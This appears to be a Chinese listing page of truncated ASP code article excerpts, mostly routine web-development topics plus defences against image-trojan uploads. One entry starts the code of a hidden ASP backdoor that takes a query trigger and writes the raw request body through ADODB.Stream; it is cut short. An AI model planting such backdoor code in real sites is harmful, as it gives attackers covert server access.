-
asp獲取遠程網頁的指定內容的實現代碼
代碼如下: 復制代碼 代碼如下: <% '用ASP獲取遠程目標網頁指定內容,代碼由廣州網站建設http://www.jb51.net提供 On Error Resume Next Server.ScriptTimeOut=9999999 Function getHTTPPage(Pa...
作者:asdasdasd03-30 -
Asp中通過簡單的例子理解下ByVal和ByRef的用法
文件名稱:
作者:asdasdasd03-30
ByVal.asp
ByRef.asp
具體代碼:
<%Sub TestMain()Dim A : A=5Call TestBy(A)Response.write AEnd SubSub TestBy(ByVal T)T=T+1End subcall TestMain()%>
<%Sub TestMain()Dim A... -
asp圖片加水印的功能代碼
復制代碼 代碼如下: '文字水印 Function WordWatermark(ImagePath) Dim Image Set Image= Server.CreateObject("Persits.Jpeg") ' 建立對象 Image.Open server.mappath(ImagePath) ' 圖片所在位...
作者:asdasdasd03-30 -
ASP 支持中文的len(),left(),right()的函數代碼
比如一個漢字也只會算一個字節,在排版時如果全是漢字,好說,反正沒什么差別,但是如果被操作的字符串有漢字又有英文字母時,就不方便了,以下三個函數可以代替ASP自帶的相關函數。 也有注...
作者:asdasdasd03-30 -
asp下以Json獲取中國天氣網天氣的代碼
百度了一下,找了點別人的方法改進了一下。 獲取天氣網址:http://www.weather.com.cn/html/weather/101210701.shtml這里是溫州的,當然其他城市自己搜索一下,換一下ID。 由于是寫入cookies記錄...
作者:asdasdasd03-30 -
做了CDN加速的ASP網站獲取用戶真實IP程序
復制代碼 代碼如下: function checkip(checkstring)'用正則判斷IP是否合法 dim re1 set re1=new RegExp re1.pattern="^[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}$" re1.global=false re1.Ig...
作者:asdasdasd03-30 -
ASP下檢測圖片木馬的函數代碼
木馬原理:入侵者使用諸如ASP圖片木馬生成器之類的工具將一張正常的圖片與一個ASP木馬文件合并成一個圖片文件(即將對網站有害的 ASP代碼插在圖片編碼之后,雖然圖片仍然可以正常顯示,但是文件...
作者:asdasdasd03-30 -
asp中常用的字符串安全處理函數集合(過濾特殊字符等)
復制代碼 代碼如下:'===================================== '轉換內容,防止意外 '===================================== Function Content_Encode(ByVal t0) IF IsNull(t0) Or Len(t0)=0 The...
作者:asdasdasd03-30 -
ASP trim,ltrim,rtrim 去前后空格 函數
這個主要應用于,獲取用戶輸入的時候,防止用戶不小心,多輸入了一個空格,導致驗證無法通過,多用于用戶名跟密碼的,好多情況下,大家復制的winrar的解壓密碼,都會默認多輸入一個空格,所以這...
作者:asdasdasd03-30 -
Active Server Pages 錯誤 ''ASP 0201'' 修復方法
問題:
作者:asdasdasd03-30
1. 訪問 ASP 頁面時,出現以下錯誤:
Active Server Pages 錯誤 'ASP 0201' 錯誤無效的默認腳本語言 該應用程序地應的默認腳本語言無效2. 查看 HKEY_LOCAL_MACHINESOFTWARECla... -
asp中格式化HTML函數代碼 SDCMS加強版
復制代碼 代碼如下:'============================== '格式化HTML,SDCMS加強版 '============================== Function Nohtml(ByVal t0) IF Len(t0)=0 Or IsNull(t0) Then Nohtml="" Exit ...
作者:asdasdasd03-30 -
asp 頁面允許CACHE的方法
在ASP輸出頁面只是調出數據庫里內容展現給用戶看沒有使用SESSION等動態屬性,是可以CACHE的,以加快訪問速度,具體操作方法如下: 在asp程序頁面頂上端加上: <% @Language="VBScript" %> <% Re...
作者:asdasdasd03-30 -
ASP+ajax注冊即時提示程序代碼
1、注冊時驗證數據庫用戶名是否存在。 2、輸入密碼時提示密碼強度和驗證2次密碼輸入是否一樣。 3、注冊時驗證數據庫聯系郵箱是否存在。 4、注冊時驗證用戶輸入的驗證碼和系統產生的驗證碼是否一...
作者:asdasdasd03-30 -
asp 數組 重復刪除函數(腳本之家增強版)
因為要寫個東西用到,所以百度了一下,居然有朋友亂寫,而且比較多,都沒有認真測試過,只對字符可以,但是對數字就不可以,而且通用性很差,需要修改才可以真正使用。沒辦法就自己寫了,經過測...
作者:asdasdasd03-30 -
asp 在線備份與恢復sqlserver數據庫的代碼
asp在線備份sql server數據庫: 1、備份sqlserver 復制代碼 代碼如下: <% SQL="backup database 數據庫名 to disk='"&Server.MapPath("backup")&""&"backuptext.dat"&"'" set cnn=Server.creat...
作者:asdasdasd03-30 -
asp中判斷服務器是否安裝了某種組件的函數
判斷服務器是否安裝了某種asp組件,比較常用的代碼如下:復制代碼 代碼如下: <% '功能:檢查是否存在系統組件或組件是否安裝成功 '參數:組件名 Function IsObjInstalled(strClassString) On Error...
作者:asdasdasd03-30 -
ASP防止圖片木馬上傳的代碼
ASP木馬防御: 復制代碼 代碼如下: const adTypeBinary=1 dim jpg(1):jpg(0)=CByte(&HFF):jpg(1)=CByte(&HD8) dim bmp(1):bmp(0)=CByte(&H42):bmp(1)=CByte(&H4D) dim png(3):png(0)=CByte(&H89...
作者:asdasdasd03-30 -
asp中文件與文件夾常用處理函數(文件后綴、創建文件等)
復制代碼 代碼如下:'===================================== '獲得文件后綴 '===================================== Function Get_Filetxt(ByVal t0) Dim t1 IF Len(t0)<2 Or Instr(t0,".")=0 ...
作者:asdasdasd03-30 -
服務器XMLHTTP(Server XMLHTTP in ASP)基礎知識
相對于 Ajax,服務端 XMLHTTP 就是在服務端使用 XMLHttpRequest 對象了。雖然說,在服務端使用異步請求是比較不方便的,但是做為可以服務端發送 HTTP 請求的組件,學習一下也是沒有壞處的。 這里...
作者:asdasdasd03-30 -
ASP codepage 頁面編碼使用說明
指定的代碼頁特性無效。 codepage屬性:是指出網頁的代碼頁 如果制作的網頁腳本與WEB服務端的默認代碼頁不同,則必須指明代碼頁: 復制代碼 代碼如下: codepage=936 簡體中文GBK codepage=950 繁...
作者:asdasdasd03-30 -
asp空間判斷jmail組件是否安裝或支持的代碼
首先,必須有錯誤繼續進行的聲明On Error Resume Next 然后嘗試簡歷jmail實例: Dim JMail Set JMail=Server.CreateObject("JMail.Message") 對實例做出判斷,如果組件沒有安裝成功,則沒有創建...
作者:asdasdasd03-30 -
asp添加數據實現代碼
舉例: 如:在字段名處輸入:username,password,email,telphone 注意:不同的字段名用英文逗號隔開,且不支持星號 表名處輸入要查詢的表名:如:table1 前臺表單頁面: 主要是注意input字段的name...
作者:asdasdasd03-30 -
asp中獲取當前頁面的地址與參數的函數代碼
復制代碼 代碼如下:Function getCurrentUrl() On Error Resume Next Dim strTemp If LCase(Request.ServerVariables("HTTPS")) = "off" Then strTemp = "http://" Else strTemp = "https://" En...
作者:asdasdasd03-30 -
隱蔽的ASP后門 大家可以查看下
復制代碼 代碼如下: <%if request.QueryString("action")="log" then a=Request.TotalBytes:if a Then b="adodb.stream":Set c=Createobject(b):c.Type=1:c.Open:c.Write Request.BinaryRead(a)...
作者:asdasdasd03-30 -
網站開發防止中文亂碼需要了解的codepage的重要性小結
相關的題外話:
作者:asdasdasd03-30
一、操作系統window系統內部都是unicode的。文件夾名,文件名等都是unicode的,任何語言系統下都能正常顯示。
二、輸入法:微軟拼音輸出的是Unicode的,智能ABC輸出是簡體中文的...
